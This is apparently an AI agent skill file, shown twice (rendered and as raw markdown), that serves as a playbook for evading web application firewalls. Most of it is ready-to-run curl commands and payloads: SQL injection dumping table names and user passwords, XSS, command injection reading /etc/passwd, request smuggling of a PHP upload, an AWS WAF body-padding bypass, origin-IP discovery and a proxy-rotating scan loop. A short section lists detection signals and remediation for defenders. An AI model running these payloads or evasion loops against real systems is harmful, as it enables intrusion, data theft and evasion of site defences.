WAF Bypass / Evasion
A WAF is a signature + score engine in front of the origin. Bypass goals: (a) deliver a payload the rule set does not match, (b) reach the origin directly so the WAF is out of band, or (c) keep request rate / anomaly score under thresholds while exfiltrating. OPSEC: this skill is for authorized scope. Stay within rate limits the program allows; never test live customer flows; mark traffic with a researcher header where the program asks for it (X-Bug-Bounty: <HANDLE>).
1. Recon first — fingerprint the WAF
See skills/standard/recon/web-recon/waf-detection/SKILL.md. Without a fingerprint you are guessing. Quick:
wafw00f -a "https://<TARGET>"
curl -sI "https://<TARGET>/?id=1' OR '1'='1" | grep -iE 'server|cf-ray|x-amzn|akamai|x-sucuri|x-cdn|set-cookie'
nuclei -u "https://<TARGET>" -t http/technologies/waf-detect.yaml
Note the stack: WAF vendor, CDN, origin web server, application framework. Each layer has its own parser — bypasses live in the gaps.
2. Payload obfuscation
| Layer |
Technique |
Example |
| Case |
Mixed case on keywords (most modern WAFs are case-insensitive — try anyway) |
SeLeCt, uNiOn |
| Whitespace |
Tab, FF, CR, LF, /**/, +, %a0, %0b, %0c between tokens |
UNION/**/SELECT, UNION%a0SELECT |
| Comments |
Inline SQL comments split keywords |
UN/**/ION, SEL/*!50000*/ECT (MySQL versioned) |
| Encoding |
URL-encode, double-URL-encode, unicode, HTML entity, base64 |
%2527, %u0027, ', \x27, \u0027 |
| Mixed encoding |
Encode only the bytes the rule looks for |
'%20OR%201=1-- → %27 OR 1%3D1-- |
| Alternate syntax (SQL) |
UNION-less extraction via boolean/blind, ` |
|
| Alternate syntax (XSS) |
Tagless / event-less / template / SVG / MathML |
<svg/onload=alert(1)>, <details/open/ontoggle=alert(1)>, <style>@import"//x"</style> |
| String concat |
Break signatures into pieces |
'+'al'+'ert'+'(1)+', concat(0x61,0x64,0x6d,0x69,0x6e) |
| Backtick / quote variants |
`select`, "select", [select] (MSSQL), N'admin' |
|
| Null bytes |
%00 early-terminates many string ops in C-backed parsers |
admin%00.png |
| Charset |
Submit body in unusual charset; WAF inspects as UTF-8 but app decodes UTF-16 |
Content-Type: ...; charset=utf-16le |
| Path normalization |
..;/, ..%2f, ..%252f, ;/, // between segments |
/admin..;/users |
# SQLi rule bypass — split UNION SELECT
PAYLOAD="-1'/*!50000UnIoN*/(/*!50000SeLeCt*/(group_concat(table_name))FROM(information_schema.tables))-- -"
curl -sk -G "https://<TARGET>/search" --data-urlencode "q=$PAYLOAD"
# XSS rule bypass — no parens, no "alert"
curl -sk -G "https://<TARGET>/echo" --data-urlencode 'q=<svg/onload=eval(name)>'
# Cmd-injection rule bypass — IFS for spaces, brace expansion, $@
curl -sk "https://<TARGET>/ping?host=127.0.0.1\${IFS}\$@cat\${IFS}/etc/passwd"
3. HTTP-level evasion
Bypasses that exploit parser differences between WAF and origin.
# 3.1 Chunked transfer — WAF disables inspection on chunked bodies (still common)
curl -sk -X POST "https://<TARGET>/login" \
-H 'Transfer-Encoding: chunked' -H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary $'1d\r\nusername=admin'+OR+1=1--\r\n0\r\n\r\n'
# 3.2 Content-Type confusion — WAF parses as form, app parses as JSON (or vice versa)
curl -sk -X POST "https://<TARGET>/api/login" \
-H 'Content-Type: text/plain' \
--data '{"user":"admin\" OR 1=1--","pass":"x"}'
# 3.3 Multipart smuggling — payload hidden in a part the WAF does not inspect
curl -sk -X POST "https://<TARGET>/upload" \
-F 'file=@evil.php;type=image/png' \
-F 'meta={"role":"admin"};type=application/json'
# 3.4 charset= trick (UTF-7, UTF-16, IBM037)
curl -sk -X POST "https://<TARGET>/api" \
-H 'Content-Type: application/json; charset=ibm037' \
--data-binary @ibm037-payload.bin
# 3.5 Host-header / SNI mismatch (origin trusts internal Host, WAF inspects external)
curl -sk --resolve "internal-admin:443:$ORIGIN_IP" \
-H 'Host: internal-admin' "https://internal-admin/admin"
# 3.6 HTTP/2 → HTTP/1 downgrade smuggling (paired with smuggling skill)
# See skills/standard/exploit/web/smuggling/SKILL.md
# 3.7 Pseudo-header injection in HTTP/2 (h2c upgrade, :path tricks)
curl -sk --http2-prior-knowledge "https://<TARGET>/" \
-H ':path: /admin/../public' -i
# 3.8 Param pollution — WAF inspects first, app reads last (or concat)
# See skills/standard/exploit/web/hpp/SKILL.md
4. Origin-IP discovery — bypass the WAF entirely
If the WAF sits on a CDN edge (Cloudflare, Akamai, Sucuri, Imperva), reaching the origin IP directly with the right Host header takes the WAF out of band.
# 4.1 Historic DNS / certificate transparency
curl -s "https://crt.sh/?q=%25.<TARGET>&output=json" | jq -r '.[].name_value' | sort -u
# Pre-CDN A records often still resolve in passive DNS sources:
# securitytrails / shodan / censys / dnsdumpster / viewdns
shodan search "ssl.cert.subject.cn:<TARGET>" # finds origin certs presenting CN behind CDN
shodan search "http.title:'<TARGET>' -org:'Cloudflare,Akamai,Fastly'"
censys search 'services.tls.certificates.leaf_data.subject.common_name: "<TARGET>"' \
--fields services.ip
# 4.2 Subdomain bleed — dev/staging/mail/cpanel rarely fronted by CDN
subfinder -d <TARGET> -silent | dnsx -resp-only | sort -u
# Look for non-CDN A records (not in Cloudflare/Akamai/Fastly ASNs)
mapcidr -cl - < ips.txt | asnmap | grep -viE 'cloudflare|akamai|fastly|imperva|incapsula|sucuri'
# 4.3 SSRF / open redirect / webhook outbound from target
# - any target-side fetcher that calls back to attacker leaks origin IP in TCP src
# 4.4 Misconfigured mail (DMARC/SPF/MX) reveals origin mailer IP
dig +short MX <TARGET>
dig +short TXT <TARGET>
# 4.5 Validate candidate origin
curl -sk --resolve "<TARGET>:443:$ORIGIN_IP" "https://<TARGET>/" -o origin.html -w '%{http_code}\n'
diff <(curl -sk "https://<TARGET>/" | md5sum) <(md5sum < origin.html)
# Same hash + no WAF headers = origin reached.
Once on the origin, the WAF is gone. All bypasses in section 2 are unnecessary.
5. Rate / anomaly evasion
WAFs aggregate score per IP / session / fingerprint and throttle when thresholds trip.
| Technique |
Notes |
| Rotate egress IPs |
Proxychains, residential proxies, AWS Lambda fan-out (within scope rules). |
| Distribute over time |
Jitter, exponential backoff, randomized intervals. |
| Rotate user-agent / Accept-Language / TLS JA3 |
curl's --ja3 (curl-impersonate), or httpx -random-agent. |
| Avoid signature noise |
Don't send sqlmap/1.x UA. Don't send 200 payloads/sec. |
| Login-warmed sessions |
Authenticated session has its own bucket; one valid request per N payloads keeps anomaly score low. |
| Slow blind injection |
Time-based blind SQLi with 0.5s deltas instead of 10s. |
| Token-bucket-aware probing |
Detect 429 → back off until rate limit resets. |
# Distributed slow scan with jitter
shuf payloads.txt | while read p; do
curl -sk -G "https://<TARGET>/search" --data-urlencode "q=$p" \
-H "User-Agent: $(shuf -n1 uas.txt)" -x "$(shuf -n1 proxies.txt)" -o /dev/null \
-w 'q=%{url_effective} code=%{http_code}\n'
sleep "$(awk 'BEGIN{srand(); print 2+rand()*6}')"
done
6. Per-WAF notes
Cloudflare
- Managed Ruleset is signature + ML; payload-obfuscation (sec 2) works well.
- Bot Fight / Super Bot Fight Mode JA3-fingerprints curl/python — use curl-impersonate (
curl_chrome116) or requests via httpx[http2] with realistic JA3.
cdn-cgi/trace confirms you're hitting Cloudflare; absence on a target subdomain often means origin reachable directly.
- Workers / Pages have weaker default rules than the main reverse proxy.
- 0.0.0.0/8 or unusual
X-Forwarded-For is ignored by CF but sometimes trusted at origin → header-trust pivots.
Akamai (Kona / App & API Protector)
- ABCK/sensor cookie expected; missing or invalid → 403. Generate with a real browser or sensor-data generators (within scope).
- AcceptedKeyLength + JA3 fingerprinting.
Pragma: akamai-x-cache-on, akamai-x-get-extracted-values reveals edge variables on test envs.
- Common bypass: subdomain not yet onboarded (no Property activated) → no WAF.
AWS WAF
- Rule-group based (AWSManagedRulesCommonRuleSet, SQLi, XSS). Each rule has a fixed inspection budget (~8 KB body, ~64 KB on newer plans). Oversize bodies are skipped by default — payload after the inspection limit is unfiltered.
- Inspection cap bypass: pad request body with junk to exceed the inspection limit, place payload after the cap.
- Region scoping — endpoints in non-WAF regions / shadow API gateways often lack the rule.
# AWS WAF body-cap bypass — pad with 9 KB of A's, then payload
( python3 -c 'print("A"*9000, end="")'; printf '&q=%s' "' UNION SELECT user,password FROM users--" ) \
| curl -sk -X POST "https://<TARGET>/search" \
-H 'Content-Type: application/x-www-form-urlencoded' --data-binary @-
ModSecurity + OWASP CRS
- Anomaly-scoring (Paranoia Level 1–4). PL1 is bypassed by almost all sec-2 tricks.
- CRS rules are public — read the rule that fires and craft around it.
SecRuleEngine DetectionOnly is common in early deployments.
- Charset / Content-Type confusion is highly effective historically.
- JSON body inspection requires the JSON parser to be enabled — many deployments forget.
Imperva / Incapsula
incap_ses_* cookie required; bots without it 403.
- Has its own rate-limit on
Reputation score — high-noise scans trip it fast.
- Bypass focus: origin discovery (sec 4) often easier than payload obfuscation.
Sucuri
- Lightweight, signature-heavy. Sec-2 encoding tricks bypass the bulk of rules.
X-Sucuri-Cache header confirms presence.
7. Tools
- wafw00f, whatwaf — vendor identification.
- nuclei
http/misconfiguration/, http/cves/ with -rate-limit low.
- bypass-firewalls-by-DNS-history — automates sec 4.1.
- CloudFlair — Cloudflare origin discovery via Censys.
- curl-impersonate / tlsx — JA3/JA4 rotation.
- Burp with Bypass WAF, HTTP Smuggler, Param Miner, Hackvertor extensions.
- sqlmap
--tamper=between,space2comment,space2randomblank,charunicodeencode,... (chain tamper scripts per WAF).
- ffuf
-H rotation, -p per-request delay, -rate cap.
8. Detection signatures (defenders)
| Signal |
Source |
Transfer-Encoding: chunked on small bodies from unauthenticated IPs |
WAF / proxy logs |
Body charset = ibm037, utf-16, utf-7 on public endpoints |
content-type analytics |
| Request body > inspection cap on AWS WAF + trailing suspicious params |
CloudWatch + WAF logs |
| Sustained low-rate requests from rotating IPs hitting parameterized URLs |
rate-limit / WAF analytics |
| Direct hits to origin IP bypassing CDN |
origin firewall logs (only CDN IPs should reach origin) |
Host header mismatch vs SNI |
TLS / app logs |
X-HTTP-Method-Override paired with payload-like params |
WAF custom rule |
Remediation: lock origin firewall to CDN egress ranges only; enable strict-charset / strict-content-type at the edge; raise inspection cap or block oversized unauthenticated bodies; ratchet ModSecurity to PL2+; rotate origin IP after CDN onboarding; enforce JA3/JA4 allowlists where business permits.
9. Decision gate
| Observation |
Action |
| WAF identified, payload blocked, no origin IP yet |
Section 2 obfuscation → section 3 HTTP-level → only then chase origin |
| Origin IP candidate, response identical to CDN-fronted |
Confirm with TLS cert + body hash, then re-run all chained skills directly against origin |
| All sec-2/sec-3 attempts blocked, no origin |
Pivot — try a different endpoint, subdomain (often un-onboarded), or chain through SSRF/open-redirect from another target asset |
| Rate-limit / anomaly score throttling |
Back off, lower QPS, rotate fingerprint, prefer authenticated session |
| Program forbids WAF bypass research |
Stop; report WAF presence + suspected gap to the program without exploitation |
Cross-references
- WAF fingerprint recon:
skills/standard/recon/web-recon/waf-detection/SKILL.md
- HTTP smuggling (paired parser-discrepancy bypass):
skills/standard/exploit/web/smuggling/SKILL.md
- HTTP Parameter Pollution:
skills/standard/exploit/web/hpp/SKILL.md
- Verb tampering (rule sets keyed on GET/POST only):
skills/standard/exploit/web/verb-tampering/SKILL.md
- SQLi tamper / blind:
skills/standard/exploit/web/sqli/SKILL.md
- Subdomain takeover (origin pivot via trusted subdomain):
skills/standard/recon/web-recon/subdomain-takeover/SKILL.md
1---2name: waf-bypass3description: WAF evasion — payload obfuscation, HTTP-level evasion, origin-IP discovery, rate/anomaly evasion, per-WAF notes (Cloudflare/Akamai/AWS WAF/ModSecurity).4---56# WAF Bypass / Evasion78A WAF is a signature + score engine in front of the origin. Bypass goals: (a) deliver a payload the rule set does not match, (b) reach the origin directly so the WAF is out of band, or (c) keep request rate / anomaly score under thresholds while exfiltrating. OPSEC: this skill is for authorized scope. Stay within rate limits the program allows; never test live customer flows; mark traffic with a researcher header where the program asks for it (`X-Bug-Bounty: <HANDLE>`).910## 1. Recon first — fingerprint the WAF1112See `skills/standard/recon/web-recon/waf-detection/SKILL.md`. Without a fingerprint you are guessing. Quick:1314```bash15wafw00f -a "https://<TARGET>"16curl -sI "https://<TARGET>/?id=1' OR '1'='1" | grep -iE 'server|cf-ray|x-amzn|akamai|x-sucuri|x-cdn|set-cookie'17nuclei -u "https://<TARGET>" -t http/technologies/waf-detect.yaml18```1920Note the **stack**: WAF vendor, CDN, origin web server, application framework. Each layer has its own parser — bypasses live in the gaps.2122## 2. Payload obfuscation2324| Layer | Technique | Example |25|---|---|---|26| Case | Mixed case on keywords (most modern WAFs are case-insensitive — try anyway) | `SeLeCt`, `uNiOn` |27| Whitespace | Tab, FF, CR, LF, `/**/`, `+`, `%a0`, `%0b`, `%0c` between tokens | `UNION/**/SELECT`, `UNION%a0SELECT` |28| Comments | Inline SQL comments split keywords | `UN/**/ION`, `SEL/*!50000*/ECT` (MySQL versioned) |29| Encoding | URL-encode, double-URL-encode, unicode, HTML entity, base64 | `%2527`, `%u0027`, `'`, `\x27`, `\u0027` |30| Mixed encoding | Encode only the bytes the rule looks for | `'%20OR%201=1--` → `%27 OR 1%3D1--` |31| Alternate syntax (SQL) | `UNION`-less extraction via boolean/blind, `||` concat, JSON path, `CAST`/`CONVERT` chains | `' OR ASCII(SUBSTR(...))>0--` |32| Alternate syntax (XSS) | Tagless / event-less / template / SVG / MathML | `<svg/onload=alert(1)>`, `<details/open/ontoggle=alert(1)>`, `<style>@import"//x"</style>` |33| String concat | Break signatures into pieces | `'+'al'+'ert'+'(1)+'`, `concat(0x61,0x64,0x6d,0x69,0x6e)` |34| Backtick / quote variants | `` `select` ``, `"select"`, `[select]` (MSSQL), `N'admin'` | |35| Null bytes | `%00` early-terminates many string ops in C-backed parsers | `admin%00.png` |36| Charset | Submit body in unusual charset; WAF inspects as UTF-8 but app decodes UTF-16 | `Content-Type: ...; charset=utf-16le` |37| Path normalization | `..;/`, `..%2f`, `..%252f`, `;/`, `//` between segments | `/admin..;/users` |3839```bash40# SQLi rule bypass — split UNION SELECT41PAYLOAD="-1'/*!50000UnIoN*/(/*!50000SeLeCt*/(group_concat(table_name))FROM(information_schema.tables))-- -"42curl -sk -G "https://<TARGET>/search" --data-urlencode "q=$PAYLOAD"4344# XSS rule bypass — no parens, no "alert"45curl -sk -G "https://<TARGET>/echo" --data-urlencode 'q=<svg/onload=eval(name)>'4647# Cmd-injection rule bypass — IFS for spaces, brace expansion, $@48curl -sk "https://<TARGET>/ping?host=127.0.0.1\${IFS}\$@cat\${IFS}/etc/passwd"49```5051## 3. HTTP-level evasion5253Bypasses that exploit parser differences between WAF and origin.5455```bash56# 3.1 Chunked transfer — WAF disables inspection on chunked bodies (still common)57curl -sk -X POST "https://<TARGET>/login" \58 -H 'Transfer-Encoding: chunked' -H 'Content-Type: application/x-www-form-urlencoded' \59 --data-binary $'1d\r\nusername=admin'+OR+1=1--\r\n0\r\n\r\n'6061# 3.2 Content-Type confusion — WAF parses as form, app parses as JSON (or vice versa)62curl -sk -X POST "https://<TARGET>/api/login" \63 -H 'Content-Type: text/plain' \64 --data '{"user":"admin\" OR 1=1--","pass":"x"}'6566# 3.3 Multipart smuggling — payload hidden in a part the WAF does not inspect67curl -sk -X POST "https://<TARGET>/upload" \68 -F 'file=@evil.php;type=image/png' \69 -F 'meta={"role":"admin"};type=application/json'7071# 3.4 charset= trick (UTF-7, UTF-16, IBM037)72curl -sk -X POST "https://<TARGET>/api" \73 -H 'Content-Type: application/json; charset=ibm037' \74 --data-binary @ibm037-payload.bin7576# 3.5 Host-header / SNI mismatch (origin trusts internal Host, WAF inspects external)77curl -sk --resolve "internal-admin:443:$ORIGIN_IP" \78 -H 'Host: internal-admin' "https://internal-admin/admin"7980# 3.6 HTTP/2 → HTTP/1 downgrade smuggling (paired with smuggling skill)81# See skills/standard/exploit/web/smuggling/SKILL.md8283# 3.7 Pseudo-header injection in HTTP/2 (h2c upgrade, :path tricks)84curl -sk --http2-prior-knowledge "https://<TARGET>/" \85 -H ':path: /admin/../public' -i8687# 3.8 Param pollution — WAF inspects first, app reads last (or concat)88# See skills/standard/exploit/web/hpp/SKILL.md89```9091## 4. Origin-IP discovery — bypass the WAF entirely9293If the WAF sits on a CDN edge (Cloudflare, Akamai, Sucuri, Imperva), reaching the origin IP directly with the right `Host` header takes the WAF out of band.9495```bash96# 4.1 Historic DNS / certificate transparency97curl -s "https://crt.sh/?q=%25.<TARGET>&output=json" | jq -r '.[].name_value' | sort -u98# Pre-CDN A records often still resolve in passive DNS sources:99# securitytrails / shodan / censys / dnsdumpster / viewdns100shodan search "ssl.cert.subject.cn:<TARGET>" # finds origin certs presenting CN behind CDN101shodan search "http.title:'<TARGET>' -org:'Cloudflare,Akamai,Fastly'"102censys search 'services.tls.certificates.leaf_data.subject.common_name: "<TARGET>"' \103 --fields services.ip104105# 4.2 Subdomain bleed — dev/staging/mail/cpanel rarely fronted by CDN106subfinder -d <TARGET> -silent | dnsx -resp-only | sort -u107# Look for non-CDN A records (not in Cloudflare/Akamai/Fastly ASNs)108mapcidr -cl - < ips.txt | asnmap | grep -viE 'cloudflare|akamai|fastly|imperva|incapsula|sucuri'109110# 4.3 SSRF / open redirect / webhook outbound from target111# - any target-side fetcher that calls back to attacker leaks origin IP in TCP src112113# 4.4 Misconfigured mail (DMARC/SPF/MX) reveals origin mailer IP114dig +short MX <TARGET>115dig +short TXT <TARGET>116117# 4.5 Validate candidate origin118curl -sk --resolve "<TARGET>:443:$ORIGIN_IP" "https://<TARGET>/" -o origin.html -w '%{http_code}\n'119diff <(curl -sk "https://<TARGET>/" | md5sum) <(md5sum < origin.html)120# Same hash + no WAF headers = origin reached.121```122123Once on the origin, the WAF is **gone**. All bypasses in section 2 are unnecessary.124125## 5. Rate / anomaly evasion126127WAFs aggregate score per IP / session / fingerprint and throttle when thresholds trip.128129| Technique | Notes |130|---|---|131| Rotate egress IPs | Proxychains, residential proxies, AWS Lambda fan-out (within scope rules). |132| Distribute over time | Jitter, exponential backoff, randomized intervals. |133| Rotate user-agent / Accept-Language / TLS JA3 | curl's `--ja3` (curl-impersonate), or `httpx -random-agent`. |134| Avoid signature noise | Don't send `sqlmap/1.x` UA. Don't send 200 payloads/sec. |135| Login-warmed sessions | Authenticated session has its own bucket; one valid request per N payloads keeps anomaly score low. |136| Slow blind injection | Time-based blind SQLi with 0.5s deltas instead of 10s. |137| Token-bucket-aware probing | Detect 429 → back off until rate limit resets. |138139```bash140# Distributed slow scan with jitter141shuf payloads.txt | while read p; do142 curl -sk -G "https://<TARGET>/search" --data-urlencode "q=$p" \143 -H "User-Agent: $(shuf -n1 uas.txt)" -x "$(shuf -n1 proxies.txt)" -o /dev/null \144 -w 'q=%{url_effective} code=%{http_code}\n'145 sleep "$(awk 'BEGIN{srand(); print 2+rand()*6}')"146done147```148149## 6. Per-WAF notes150151### Cloudflare152- Managed Ruleset is signature + ML; payload-obfuscation (sec 2) works well.153- Bot Fight / Super Bot Fight Mode JA3-fingerprints curl/python — use **curl-impersonate** (`curl_chrome116`) or `requests` via `httpx[http2]` with realistic JA3.154- `cdn-cgi/trace` confirms you're hitting Cloudflare; absence on a target subdomain often means origin reachable directly.155- Workers / Pages have weaker default rules than the main reverse proxy.156- 0.0.0.0/8 or unusual `X-Forwarded-For` is ignored by CF but sometimes trusted at origin → header-trust pivots.157158### Akamai (Kona / App & API Protector)159- ABCK/sensor cookie expected; missing or invalid → 403. Generate with a real browser or sensor-data generators (within scope).160- AcceptedKeyLength + JA3 fingerprinting.161- `Pragma: akamai-x-cache-on, akamai-x-get-extracted-values` reveals edge variables on test envs.162- Common bypass: subdomain not yet onboarded (no Property activated) → no WAF.163164### AWS WAF165- Rule-group based (AWSManagedRulesCommonRuleSet, SQLi, XSS). Each rule has a fixed inspection budget (~8 KB body, ~64 KB on newer plans). Oversize bodies are **skipped** by default — payload after the inspection limit is unfiltered.166- Inspection cap bypass: pad request body with junk to exceed the inspection limit, place payload after the cap.167- Region scoping — endpoints in non-WAF regions / shadow API gateways often lack the rule.168169```bash170# AWS WAF body-cap bypass — pad with 9 KB of A's, then payload171( python3 -c 'print("A"*9000, end="")'; printf '&q=%s' "' UNION SELECT user,password FROM users--" ) \172 | curl -sk -X POST "https://<TARGET>/search" \173 -H 'Content-Type: application/x-www-form-urlencoded' --data-binary @-174```175176### ModSecurity + OWASP CRS177- Anomaly-scoring (Paranoia Level 1–4). PL1 is bypassed by almost all sec-2 tricks.178- CRS rules are public — read the rule that fires and craft around it. `SecRuleEngine DetectionOnly` is common in early deployments.179- Charset / Content-Type confusion is highly effective historically.180- JSON body inspection requires the JSON parser to be enabled — many deployments forget.181182### Imperva / Incapsula183- `incap_ses_*` cookie required; bots without it 403.184- Has its own rate-limit on `Reputation` score — high-noise scans trip it fast.185- Bypass focus: origin discovery (sec 4) often easier than payload obfuscation.186187### Sucuri188- Lightweight, signature-heavy. Sec-2 encoding tricks bypass the bulk of rules.189- `X-Sucuri-Cache` header confirms presence.190191## 7. Tools192193- **wafw00f**, **whatwaf** — vendor identification.194- **nuclei** `http/misconfiguration/`, `http/cves/` with `-rate-limit` low.195- **bypass-firewalls-by-DNS-history** — automates sec 4.1.196- **CloudFlair** — Cloudflare origin discovery via Censys.197- **curl-impersonate** / **tlsx** — JA3/JA4 rotation.198- **Burp** with **Bypass WAF**, **HTTP Smuggler**, **Param Miner**, **Hackvertor** extensions.199- **sqlmap** `--tamper=between,space2comment,space2randomblank,charunicodeencode,...` (chain tamper scripts per WAF).200- **ffuf** `-H` rotation, `-p` per-request delay, `-rate` cap.201202## 8. Detection signatures (defenders)203204| Signal | Source |205|---|---|206| `Transfer-Encoding: chunked` on small bodies from unauthenticated IPs | WAF / proxy logs |207| Body charset = `ibm037`, `utf-16`, `utf-7` on public endpoints | content-type analytics |208| Request body > inspection cap on AWS WAF + trailing suspicious params | CloudWatch + WAF logs |209| Sustained low-rate requests from rotating IPs hitting parameterized URLs | rate-limit / WAF analytics |210| Direct hits to origin IP bypassing CDN | origin firewall logs (only CDN IPs should reach origin) |211| `Host` header mismatch vs SNI | TLS / app logs |212| `X-HTTP-Method-Override` paired with payload-like params | WAF custom rule |213214Remediation: lock origin firewall to CDN egress ranges only; enable strict-charset / strict-content-type at the edge; raise inspection cap or block oversized unauthenticated bodies; ratchet ModSecurity to PL2+; rotate origin IP after CDN onboarding; enforce JA3/JA4 allowlists where business permits.215216## 9. Decision gate217218| Observation | Action |219|---|---|220| WAF identified, payload blocked, no origin IP yet | Section 2 obfuscation → section 3 HTTP-level → only then chase origin |221| Origin IP candidate, response identical to CDN-fronted | Confirm with TLS cert + body hash, then re-run all chained skills directly against origin |222| All sec-2/sec-3 attempts blocked, no origin | Pivot — try a different endpoint, subdomain (often un-onboarded), or chain through SSRF/open-redirect from another target asset |223| Rate-limit / anomaly score throttling | Back off, lower QPS, rotate fingerprint, prefer authenticated session |224| Program forbids WAF bypass research | Stop; report WAF presence + suspected gap to the program without exploitation |225226## Cross-references227228- WAF fingerprint recon: `skills/standard/recon/web-recon/waf-detection/SKILL.md`229- HTTP smuggling (paired parser-discrepancy bypass): `skills/standard/exploit/web/smuggling/SKILL.md`230- HTTP Parameter Pollution: `skills/standard/exploit/web/hpp/SKILL.md`231- Verb tampering (rule sets keyed on GET/POST only): `skills/standard/exploit/web/verb-tampering/SKILL.md`232- SQLi tamper / blind: `skills/standard/exploit/web/sqli/SKILL.md`233- Subdomain takeover (origin pivot via trusted subdomain): `skills/standard/recon/web-recon/subdomain-takeover/SKILL.md`